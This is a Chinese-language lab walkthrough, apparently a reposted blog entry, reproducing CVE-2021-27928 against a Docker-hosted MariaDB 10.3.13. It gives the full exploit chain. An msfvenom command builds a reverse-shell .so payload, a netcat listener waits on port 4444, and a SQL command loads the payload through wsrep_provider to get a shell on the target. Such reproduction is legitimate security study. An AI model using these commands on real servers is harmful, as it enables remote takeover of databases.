赞
踩
漏洞简介:它是一个MariaDB的远程命令执行漏洞,存在于10.2.37之前的10.2版本,10.3.28之前的10.3版本,10.4.18之前的10.4版本以及10.5.9之前的10.5版本。
我们需要在我们的攻击机上安装 metasploit-framework 框架。安装步骤见Nightly Installers · rapid7/metasploit-framework Wiki (github.com)。
安装成功后,我们利用这样一条语句生成反向Shell有效负载。
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf-so -o CVE-2021-27928.so
一定要注意的是,这里的ip是攻击机自己的ip,而不是目标机的ip。port这里随便取,我取了4444。正常的运行结果如下图。
现在攻击机的准备工作已经做完了。我们现在需要准备目标机的环境。由于现在大多的镜像源中apt里已经不支持旧版本的mariadb,而去官网手动安装二进制文件又十分复杂。我这里选用了mariadb/server:10.3.13的docker镜像,当然你也可以选择mariadb/server:10.2.22,只要保证该版本的mariadb收到该漏洞影响即可。这里挂一下它的dockerhub网址mariadb/server (docker.com)。大家可以自行选取。
最后我的Dockerfile是这样的,把攻击载荷放到了docker容器中的/tmp
文件夹
FROM mariadb/server:10.3.13
LABEL Author="wuuconix <wuuconix@gmail.com>"
LABEL Blog="https://blog.csdn.net/Cypher_X"
COPY ./files /tmp/
那两个sh脚本是我用来快速构建和更新docker容器写的sh脚本。这样我们就不用每次输入一大串docker命令了,而只需要输入zsh build.sh
,十分方便,这里放一下代码供大家参考。
#build.sh
docker build -t maria . && \
docker run -d --name maria -e MARIADB_ROOT_PASSWORD=root maria && \
docker exec -it maria bash
# update.sh
docker stop maria \
&& docker rm maria \
&& docker rmi maria \
&& zsh build.sh
从build.sh的内容我们也可以看到maria/server 镜像的使用方法,需要加一个MARIADB_ROOT_PASSWORD
的环境变量,来初始root用户的密码,我这里设置的密码是root。这些都可以在dockerhub上的overview中找到。
开启容器
主机开启监听
nc -lvnp 4444
主机执行有效shell
mysql -u root -p -h 172.17.0.2 -e 'SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";'
注意这里的172.17.0.2是目标机也就是docker容器的ip。
输入后会报错,但是不要慌,我们的监听窗口这时应该已经连上了。
输入whoami
来看看当前用户。
成功。
apt-cache madison mariadb-server
没有想要的版本时,可以去dockerhub查找软件历史版本的镜像。MariaDB数据库SUPER特权漏洞CVE-2021-27928-Linux实验室 (wanyunshuju.com)
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。